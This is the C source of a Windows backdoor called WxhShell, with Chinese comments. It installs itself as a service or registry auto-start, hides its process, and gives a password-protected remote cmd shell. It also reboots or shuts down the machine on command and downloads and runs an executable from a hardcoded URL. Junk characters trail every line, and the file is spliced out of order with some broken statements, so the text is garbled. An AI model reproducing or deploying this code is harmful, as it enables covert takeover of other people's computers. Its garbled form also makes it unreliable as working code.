    if(Boot(SHUTDOWN)) ziv*4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e8k|%m<Sp  
    else { PD-*rG `  
    closesocket(wsh); 9{-H/YS\_s  
    ExitThread(0); ~b6c:db3  
    } ].@8/. rg  
    break; d}@n,3  
    } @CKMJ^#|  
  // 获取shell q( %)^C  
  case 's': { $,nidK!"  
    CmdShell(wsh); Ru$%gh>v  
    closesocket(wsh); /'bX}H(dq  
    ExitThread(0); {@[#0gPH  
    break; @={ qy}  
  } Axla@  
  // 退出 Y"TrF(C  
  case 'x': { P6`LUyz3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bj@f<f`  
    CloseIt(wsh); /wi/i*;A  
    break; &_'3(xIO  
    } ~e686L0j  
  // 离开 EU'P U  
  case 'q': { 3.h0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m~gcc  
    closesocket(wsh); X#ud_+6x  
    WSACleanup(); B_"PFWwg  
    exit(1); |J~A )Bw?  
    break; +)_#j/  
        }  8(}cbW  
  } b.cBg.a  
  } 5 axt\  
]<u%jTQREd  
  // 提示信息 x.'Ys1M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'N\nJz}  
} 5dL!e<<  
  } {`9J8qRY  
N,&bBp  
  return; S>d7q  
} )qRE['M  
!z]{zM%  
// shell模块句柄 %]o/p_<  
int CmdShell(SOCKET sock) &jh17y  
{ Nh^q&[?  
STARTUPINFO si; {z@a{L:SC  
ZeroMemory(&si,sizeof(si)); Q'aVdJN,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >j&k:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Mz;KXP  
PROCESS_INFORMATION ProcessInfo; *~d<]U5h  
char cmdline[]="cmd"; m>!aI?g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b:$q5  
  return 0; UGP&&A#T-  
} P8 R^46  
%z-n2%  
// 自身启动模式 w=[ITQ|W%  
int StartFromService(void) {&nDm$KTD  
{ QM{B(zH  
typedef struct (w Q,($@  
{ ^j2z\yo  
  DWORD ExitStatus; H:mcex  
  DWORD PebBaseAddress; Li\b ,_C  
  DWORD AffinityMask; jOL=vG  
  DWORD BasePriority; lN_b&92  
  ULONG UniqueProcessId; gj82qy\:  
  ULONG InheritedFromUniqueProcessId; -'Z-8  
}   PROCESS_BASIC_INFORMATION; fBKN?]BdN  
(Vt5@25JW  
PROCNTQSIP NtQueryInformationProcess; %:7/ym[  
! )(To  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,t39~w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /`7G7pQ+  
M%5_~g2n'\  
  HANDLE             hProcess; [o.#$(   
  PROCESS_BASIC_INFORMATION pbi; X&A2:A 6\+  
F`.W 9H3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BfQ#5  
  if(NULL == hInst ) return 0; 0,6! 6>BOT  
wIF)(t-):  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >bg{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hfs QAa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bUc ++M  
hPt=j{aJ%<  
  if (!NtQueryInformationProcess) return 0; ^CB@4$!   
PrF('PH7i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3lgD,_&  
  if(!hProcess) return 0; x6Q_+!mnk  
\psO$TxF=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fF. +{-.  
+B4i,]lCx  
  CloseHandle(hProcess); R[H#a v  
J$ &2GAi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rWJKK  
if(hProcess==NULL) return 0; 9/O\769"'  
m [BV{25  
HMODULE hMod; \mw5 ~Rf;  
char procName[255]; >dwY( a  
unsigned long cbNeeded; T )bMHk  
~jJe|zg>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *\^(-p~M  
pK)!o  
  CloseHandle(hProcess); q[c^`5  
F`o"t]AD-a  
if(strstr(procName,"services")) return 1; // 以服务启动 ;s5JYR  
I3YSW  
  return 0; // 注册表启动 3 op{h6  
} th+LScOX  
~2QD.(  
// 主模块 ge% tj O  
int StartWxhshell(LPSTR lpCmdLine) m21H68y  
{ 4cDe'9 LA  
  SOCKET wsl; b>nwX9Y/U  
BOOL val=TRUE; T|uG1  
  int port=0; _"82W^Wi  
  struct sockaddr_in door; Nk?/vMaw  
%\!@$]3q  
  if(wscfg.ws_autoins) Install(); o1[[!~8e  
HyIyrUrYW  
port=atoi(lpCmdLine); `Nv7c{M^  
KnUVR!H|  
if(port<=0) port=wscfg.ws_port; !Za yN  
P#AS")Sj  
  WSADATA data; 4K >z?jd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y7 e1%,$v  
_]us1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (_fovV=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aQ0pYk~(  
  door.sin_family = AF_INET; ?qbq\t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;6*$!^*w  
  door.sin_port = htons(port); D~ 7W  
FMC]KXSd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {G{ >Qa|  
closesocket(wsl); | zOwC9-6  
return 1; aX.//T:':?  
} tQ`|MO&o  
H1$n6J  
  if(listen(wsl,2) == INVALID_SOCKET) { l <yYfGO  
closesocket(wsl); iO}KERfU  
return 1; 1}OM"V  
} @Z Dd(xB&  
  Wxhshell(wsl); i.e4<|{  
  WSACleanup(); I\|.WrMNi  
xU |8.,@  
return 0; )-\qo#0l  
'v5q/l  
} -6# _t  
~g*5."-i  
// 以NT服务方式启动 ;G*)7fi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]qiX"<s>~C  
{ F:LrQu  
DWORD   status = 0; [$Jsel<T=  
  DWORD   specificError = 0xfffffff; 0m4'm<2m  
FPu$Nd&\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Tj!rAMQk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A&X XL~yH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8*&YQId~  
  serviceStatus.dwWin32ExitCode     = 0; ,Eo\(j2F.  
  serviceStatus.dwServiceSpecificExitCode = 0; (SByN7[g b  
  serviceStatus.dwCheckPoint       = 0; J#\oc@  
  serviceStatus.dwWaitHint       = 0; n39EKH rm%  
_U Y5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cuL/y$+EY  
  if (hServiceStatusHandle==0) return; u"DE?  
CM)V^k*  
status = GetLastError(); <>V~  
  if (status!=NO_ERROR) Ka$lNL3<j  
{ s $ ?;C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [ZS.6{vr  
    serviceStatus.dwCheckPoint       = 0; x::d}PP7  
    serviceStatus.dwWaitHint       = 0; )QI#szv6  
    serviceStatus.dwWin32ExitCode     = status; 7nZ3u _~  
    serviceStatus.dwServiceSpecificExitCode = specificError; Nwk^r75lq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Npvm49  
    return; ow#8oUf=  
  } ]N:Wt2  
0+AMN-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N\Ab0mDOV.  
  serviceStatus.dwCheckPoint       = 0; z</^qy  
  serviceStatus.dwWaitHint       = 0; 0R}hAK+| 4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FhQb9\g  
} ul!q)cPb{  
X#o;`QM  
// 处理NT服务事件,比如:启动、停止 ts r{-4V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o+Q2lO5  
{ aTs9lr:  
switch(fdwControl) )*aAkM  
{ Bq tN=  
case SERVICE_CONTROL_STOP: p:3w8#)MZ  
  serviceStatus.dwWin32ExitCode = 0; $ SZIJe"K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <Ik5S1<h$H  
  serviceStatus.dwCheckPoint   = 0; #It!D5A  
  serviceStatus.dwWaitHint     = 0; lLI%J>b@  
  { 6sT( t8[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y[W] YPs  
  } :c(#03w*C  
  return; :bXTV?#0  
case SERVICE_CONTROL_PAUSE: l)V646-O,~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XY<KLO%  
  break; o8S P#ET"n  
case SERVICE_CONTROL_CONTINUE: \p!m/2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l|M|;5TW  
  break; }Ggn2 X  
case SERVICE_CONTROL_INTERROGATE: -jVg {f!  
  break; ZHCrKp  
}; iDYm4sY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M%s!qC+  
} )/Oldyp  
i*mI-l  
// 标准应用程序主函数 Q+Eqaz`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =nlj|S ~3  
{ ,_K:DSiB  
Uh'W d_?  
// 获取操作系统版本 >2NsBS(  
OsIsNt=GetOsVer(); YB(8 T"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); & d* bQv$  
UU ' 9  
  // 从命令行安装 Y]i:$X]C?X  
  if(strpbrk(lpCmdLine,"iI")) Install(); W9{y1,G9  
m<!CF3g  
  // 下载执行文件 #hXuGBZEI  
if(wscfg.ws_downexe) { /9| 2uw`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _S CY e  
  WinExec(wscfg.ws_filenam,SW_HIDE); |*L/ m0'L  
} rY)m"'puP  
bnV)f<  
if(!OsIsNt) { 'Y]<1M>.g  
// 如果时win9x,隐藏进程并且设置为注册表启动 n,{  
HideProc(); ${`q!  
StartWxhshell(lpCmdLine); ACF_;4%&  
} .:tR*Kst`7  
else `!ZkWF6  
  if(StartFromService()) ^UyN)eX  
  // 以服务方式启动 {'#7b# DB>  
  StartServiceCtrlDispatcher(DispatchTable); ;|f]e/El  
else 0\+$j5;  
  // 普通方式启动 ac8su0  
  StartWxhshell(lpCmdLine); )4H0Bz2G  
,? Q1JZPy@  
return 0; 8DFq eY0S  
} /K_*Drk>  
01IfvK  
4+4&}8FH  
X"%eRW&qu/  
=========================================== ^b*ub(5Ot  
am/D$ (l1  
rK4 pYo  
?S.LGc  
~xc0Ky?8  
~!_UDD  
" -#g0  
Ef=4yH?\j  
#include <stdio.h> {6F]w_\  
#include <string.h> D c]J3r  
#include <windows.h> NC|VZwQtm  
#include <winsock2.h> |^#Z!Hp_Y  
#include <winsvc.h>  5e2yJ R  
#include <urlmon.h> )7Oj  
Z*'_/Grv?  
#pragma comment (lib, "Ws2_32.lib") z0T6a15f!P  
#pragma comment (lib, "urlmon.lib") qnO/4\qq  
5'EoB^`8N~  
#define MAX_USER   100 // 最大客户端连接数 yaAg!mW  
#define BUF_SOCK   200 // sock buffer jjg&C9w T  
#define KEY_BUFF   255 // 输入 buffer w# ;t$qz}  
l!IN#|{(  
#define REBOOT     0   // 重启 Ub[UB%(T  
#define SHUTDOWN   1   // 关机 .G|U#%"6x  
o^u}(wZ{  
#define DEF_PORT   5000 // 监听端口 =E&1e;_xlE  
e(9K.3 @{  
#define REG_LEN     16   // 注册表键长度 e{.P2rnh  
#define SVC_LEN     80   // NT服务名长度 xP 3>8Y  
SnoEi~Da  
// 从dll定义API ,;yaYF 6|/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u#0EZ2 >#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j0S[JpoF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZOL#Q+U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1c`Yn:H^  
Ua+Us"M3}  
// wxhshell配置信息 p(A[ah_  
struct WSCFG { _ sBFs.o  
  int ws_port;         // 监听端口 D~,i I7ac  
  char ws_passstr[REG_LEN]; // 口令 TH+TcYqO  
  int ws_autoins;       // 安装标记, 1=yes 0=no CDDEWVd  
  char ws_regname[REG_LEN]; // 注册表键名 hxGo~<. :  
  char ws_svcname[REG_LEN]; // 服务名 `[tYe<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QtOT'<2t]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P}-S[[b73s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :Y)G-:S+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dkZ[~hEQG-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }$:ha>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x8&~  
C3; d.KlV  
}; l{. XhB  
5NMju!/  
// default Wxhshell configuration X{qa|6S,F  
struct WSCFG wscfg={DEF_PORT, 'WwD$e0=  
    "xuhuanlingzhe", ['I5(M@  
    1, G)%r|meKGB  
    "Wxhshell", "=0JYh)%_  
    "Wxhshell", !XY}\zKq  
            "WxhShell Service", >  !WFY  
    "Wrsky Windows CmdShell Service", 6!RK Zj)  
    "Please Input Your Password: ", g+=f=5I3  
  1, @T{I;8S  
  "http://www.wrsky.com/wxhshell.exe", 2X=*;r"{J  
  "Wxhshell.exe" 9tB:1n}  
    }; 'z Qp64]F  
1(4IcIR5T;  
// 消息定义模块 N'8}5Kx5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ))uki*UNK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1@`mpm#Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $P Tl{  
char *msg_ws_ext="\n\rExit."; 58Z,(4:E  
char *msg_ws_end="\n\rQuit."; _i0,?U2C  
char *msg_ws_boot="\n\rReboot..."; s?&UFyYb,  
char *msg_ws_poff="\n\rShutdown..."; Xyw;Nh!!d  
char *msg_ws_down="\n\rSave to "; )(`,!s,8)  
T2k# "zD  
char *msg_ws_err="\n\rErr!"; w5mSoK b  
char *msg_ws_ok="\n\rOK!"; @34CaZ$k  
&P>a  
char ExeFile[MAX_PATH]; R?l={N=Wf  
int nUser = 0; YuzgR;Z  
HANDLE handles[MAX_USER]; L%4Do*V&  
int OsIsNt; Mj:=$}rs^  
{c=H#- A  
SERVICE_STATUS       serviceStatus; &fwb?Vn4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u]t#Vf-$u  
C-VkXk  
// 函数声明 }_cX" s  
int Install(void); .T7S1C $HP  
int Uninstall(void); wTVd){q`.  
int DownloadFile(char *sURL, SOCKET wsh); -[>G@m:?e  
int Boot(int flag); 5i&+.?(Z=  
void HideProc(void); vv`,H~M6  
int GetOsVer(void); K$~Ja  
int Wxhshell(SOCKET wsl); \@*D;-b  
void TalkWithClient(void *cs); fngk<$lvg  
int CmdShell(SOCKET sock); !*=+E%7  
int StartFromService(void); oz\r0:  
int StartWxhshell(LPSTR lpCmdLine); liVj-*m  
Gu K!<-Oz"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p}k\l dmh{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *7!*kq g!u  
_,E! <  
// 数据结构和表定义 t0o'_>*?A  
SERVICE_TABLE_ENTRY DispatchTable[] = O`='8'6zW\  
{  c|~f[  
{wscfg.ws_svcname, NTServiceMain}, RQd5Q.  
{NULL, NULL} ~@EBW3>~5  
}; Rs1JCP=d8  
"\x\P)j0>  
// 自我安装 2]-xmS>|b  
int Install(void) `Z~\&r=  
{ JJE0q5[  
  char svExeFile[MAX_PATH]; *qL"&h5W  
  HKEY key; w_^g-P[o-  
  strcpy(svExeFile,ExeFile); Ck^jgB.7  
e{`DvfY21  
// 如果是win9x系统,修改注册表设为自启动 v/}h y$7  
if(!OsIsNt) { C-L["O0[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M9dUo7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); atjrn:X  
  RegCloseKey(key); /mFa*~dj2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Awl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~JxAo\2i  
  RegCloseKey(key); #kL4Rm;  
  return 0; B}2 JK9  
    } Km,:7#aV  
  } St~a/L q6  
} %%Z|6V74  
else { @1G`d53N  
 Q~AK0W  
// 如果是NT以上系统,安装为系统服务 73'.TReK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 99..]  
if (schSCManager!=0) 'P<T,:z?  
{ =;@?bTmqD  
  SC_HANDLE schService = CreateService BX6]d:S  
  ( A+1>n^^_<  
  schSCManager, :ODG]-QF  
  wscfg.ws_svcname, ixIfJ  
  wscfg.ws_svcdisp, Xu#K<#V  
  SERVICE_ALL_ACCESS, tD !$!\`O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]h0K*{  
  SERVICE_AUTO_START, lhhp6-r  
  SERVICE_ERROR_NORMAL, $4*k=+wS  
  svExeFile, ]{'lV~fc  
  NULL, E7UYJ)6]  
  NULL, Qg4g(0E@  
  NULL, @+ U++  
  NULL, yW)X asn  
  NULL h"5!puN+  
  ); b py576GwA  
  if (schService!=0) )nJh) {4\  
  { M4(`o^n  
  CloseServiceHandle(schService); ITu5Y"x  
  CloseServiceHandle(schSCManager);  Gu P1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4mJ[Wr\y  
  strcat(svExeFile,wscfg.ws_svcname); p(]o#$ 6[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aw8q}:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ia}V8i  
  RegCloseKey(key); |qTS{qQh{L  
  return 0; #9) D.d|5  
    } 3"J85V%h]n  
  } l\{{iAC]I  
  CloseServiceHandle(schSCManager); u4p){|x7s  
} v22ZwP  
} p[lciWEW  
V57tn6 >b  
return 1; QUU'/e2^c  
} &lYe  
*wetPt)~v_  
// 自我卸载 x nm!$ $W  
int Uninstall(void) >X!A/; $  
{ Swg%[r=p=  
  HKEY key; D,J yb0BW  
-YHyJs-bU  
if(!OsIsNt) { lGAKHCs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { />\6_kT  
  RegDeleteValue(key,wscfg.ws_regname); K<Qy1y~[  
  RegCloseKey(key); >*aqYNft  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9F^rXY.  
  RegDeleteValue(key,wscfg.ws_regname); A#P]|i  
  RegCloseKey(key); 17{$D ,P  
  return 0; 4(FEfde=  
  } jvfQG:F }  
} 4S+sz?W2j  
} ,>Lj>g{~  
else { RRH[$jk  
9!06R-h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ai,Nx:r   
if (schSCManager!=0) 5*W<6ia  
{ F ak"u'~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =`MU*Arcs[  
  if (schService!=0) $-:j'e:j  
  { 6$|!_94>*)  
  if(DeleteService(schService)!=0) { %+,7=Wt-  
  CloseServiceHandle(schService); &=d0'3k>  
  CloseServiceHandle(schSCManager); ~qxuD_  
  return 0; "dO>P*k,  
  } Hkck=@>8H*  
  CloseServiceHandle(schService); rFPfTpS  
  } \h}a?T6  
  CloseServiceHandle(schSCManager); 2'6:fr=R  
} ) HN,Az"  
} ] oh.w  
xfyUT^  
return 1; ?QXc,*=N  
} O~WT$  
;=[~2*8  
// 从指定url下载文件 m|5yET  
int DownloadFile(char *sURL, SOCKET wsh) M >BcYbXf  
{ f\~OG#AaX  
  HRESULT hr; e:&(y){n(  
char seps[]= "/"; pl{Pur ;i  
char *token; BbqH02i  
char *file; P}Ud7Vil;l  
char myURL[MAX_PATH]; >(aGk{e1  
char myFILE[MAX_PATH]; jg_##Oha  
Kq*D_Rh2  
strcpy(myURL,sURL); ,ruL7|T&  
  token=strtok(myURL,seps); Bco_\cpt]z  
  while(token!=NULL) &>. w*  
  { (IY= x{b  
    file=token; 5|E_ ,d!v  
  token=strtok(NULL,seps); c5t],P  
  } gVs8W3GW  
g}\Yl.  
GetCurrentDirectory(MAX_PATH,myFILE); oL2 a:\7  
strcat(myFILE, "\\"); '&.QW$B\B_  
strcat(myFILE, file); s$s]D\N  
  send(wsh,myFILE,strlen(myFILE),0); e viv,  
send(wsh,"...",3,0); .jfkOt?2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _ IqUp Y  
  if(hr==S_OK) B.-1wZl  
return 0; i!!1^DMrw  
else Nd"4*l;  
return 1; 85Hb~|0  
lQolE P.pc  
} zu~E}  
wSMP^kG  
// 系统电源模块 'L"dM9#>  
int Boot(int flag) )fo9Qwe  
{ >,Zf3M  
  HANDLE hToken; V>`xTQG  
  TOKEN_PRIVILEGES tkp; vl'2O7  
T!T6M6?  
  if(OsIsNt) { *Hnk,?kPq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I<'wZJRRa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `n# {}%  
    tkp.PrivilegeCount = 1; Wy2 pa #Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $]G_^ji)K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JY|f zL  
if(flag==REBOOT) { ];.H]TIc6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Xy>+r[$D:  
  return 0; PV*U4aP  
} nzdJ*C  
else { St6U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YuZxKuGy  
  return 0; -}B&>w,5  
} k8}*b&+{vz  
  } g)<t=+a  
  else { Lwg@*:`d  
if(flag==REBOOT) { 0koC;(<n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u H}cvshv  
  return 0; o0nKgq'w|x  
} J8T?=%?=  
else { EMDsi2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /idQfff  
  return 0; ~ cKmf]  
} eJ+uP,$  
} }K!)Z}8  
ng-g\&-  
return 1; z]NzLz9VfL  
} `|1#Vuk  
nQ0g,'o  
// win9x进程隐藏模块 F0O/SI(cA  
void HideProc(void) a| *{BlY  
{ ov{  
w!0`JPu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZE())W"  
  if ( hKernel != NULL ) wgK:^D P  
  { 6w d0"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h|_E>6d)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R).?lnS  
    FreeLibrary(hKernel); qjsS2,wM  
  } [dK5kO  
GgoPwl#{  
return; a)+;<GZ~  
} H0zKL]D'>  
1]L 0r  
// 获取操作系统版本 C0xj M0  
int GetOsVer(void) X  8V^  
{ rKR2v (c  
  OSVERSIONINFO winfo; !+;'kI2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #PzRhanX  
  GetVersionEx(&winfo); akuV9S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?N 6'*2{NT  
  return 1; y{.s 4NT  
  else B?qLXRv  
  return 0; $YM>HZe-  
} GZ.F q  
U*.Wx0QM  
// 客户端句柄模块 c :S A#.  
int Wxhshell(SOCKET wsl) 6R%Ra  
{ RJ ,a}w[9  
  SOCKET wsh; jt?937{  
  struct sockaddr_in client; pXfg{2  
  DWORD myID; 2qY`*Y.2  
,\ y)k}0lH  
  while(nUser<MAX_USER) }1ABrbc  
{ _;] 3w  
  int nSize=sizeof(client); ;]* %wX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H\OV7=8  
  if(wsh==INVALID_SOCKET) return 1; S H"e x,=  
Iv6(Z>pAB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); os<B}D[  
if(handles[nUser]==0) @z8,XW }  
  closesocket(wsh); (x{6N^J.t  
else RR u1/nam  
  nUser++; 1LbJR'}  
  } /bE=]nM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }H!l@  
T}ZUw;}BL  
  return 0; b~khb!]  
} IXp(Aeb  
Bn83W4M  
// 关闭 socket sLGut7@Sg  
void CloseIt(SOCKET wsh) #{]X<et  
{ @`&kn;7T  
closesocket(wsh); eIEr\X4\~~  
nUser--; F;Q8^C0e*c  
ExitThread(0); tta\.ic  
} <r_L-  
F;5S2:a@Z  
// 客户端请求句柄 g$c\(isY;  
void TalkWithClient(void *cs) m{(G%n>E&  
{ 'lPt.*Y<u  
vf=b5s(7Q  
  SOCKET wsh=(SOCKET)cs; <IWO:7*#  
  char pwd[SVC_LEN]; I:4m]q b  
  char cmd[KEY_BUFF]; $F|3VQ~  
char chr[1]; [whX),3>  
int i,j; N? r{Y$x  
c2aX_ "  
  while (nUser < MAX_USER) { ZXP9{Hh  
KTV~g@Jf  
if(wscfg.ws_passstr) { Yx4TUA$c'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oMH-mG7:K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :J|t! `  
  //ZeroMemory(pwd,KEY_BUFF); F ] e]  
      i=0; =-XI)JV#  
  while(i<SVC_LEN) { 0{0|M8  
')k n  
  // 设置超时 o1x IGP<  
  fd_set FdRead; Q/oel'O*x  
  struct timeval TimeOut; ai7*</ls  
  FD_ZERO(&FdRead); Ob:}@jj  
  FD_SET(wsh,&FdRead); N/ 7Q(^  
  TimeOut.tv_sec=8; E1(2wJ-3"  
  TimeOut.tv_usec=0; 2!Ip!IQ:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZJCD)?]=3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZP>KHiA  
>7yOu!l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >syQDB  
  pwd=chr[0]; HmWU;9Vn+  
  if(chr[0]==0xd || chr[0]==0xa) { h,-8( S  
  pwd=0; s8,N9o[.~P  
  break; [42vO  
  } xz1jRI$  
  i++; ][ri A  
    } %UEV['=  
a2l\B~n  
  // 如果是非法用户,关闭 socket UZ8 vZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8!a6)Zeux  
} Q;m:o8Q5  
#/u%sX`#y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9>y6zFTV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?&Zfb  
}co v"o  
while(1) { }}AooziH9  
II !Nr{A  
  ZeroMemory(cmd,KEY_BUFF); >j [> 0D  
YzTmXwuA5  
      // 自动支持客户端 telnet标准   Ij+ E/V  
  j=0; q9GSUkb  
  while(j<KEY_BUFF) { "I"(yiKD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g. V6:>,  
  cmd[j]=chr[0]; )sWC5\  
  if(chr[0]==0xa || chr[0]==0xd) { FyZp,uD  
  cmd[j]=0; mTG v*=l  
  break; 7M~w05tPh  
  } +}IOTw" O`  
  j++; ( Z-~Eh  
    }  nwH'E  
rFY% fo  
  // 下载文件 oLJP@J  
  if(strstr(cmd,"http://")) { $O}:*.{(W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h^{D "  
  if(DownloadFile(cmd,wsh)) &X 0qH8W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }O+F#/6  
  else o.qeF4\d6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <k2Qcicy  
  } Q+d9D1b  
  else { &"^,Ubfcn"  
m"MTw@}SJ;  
    switch(cmd[0]) { 9(.P2yO  
  4~<  :Pj  
  // 帮助 &. sfu$]  
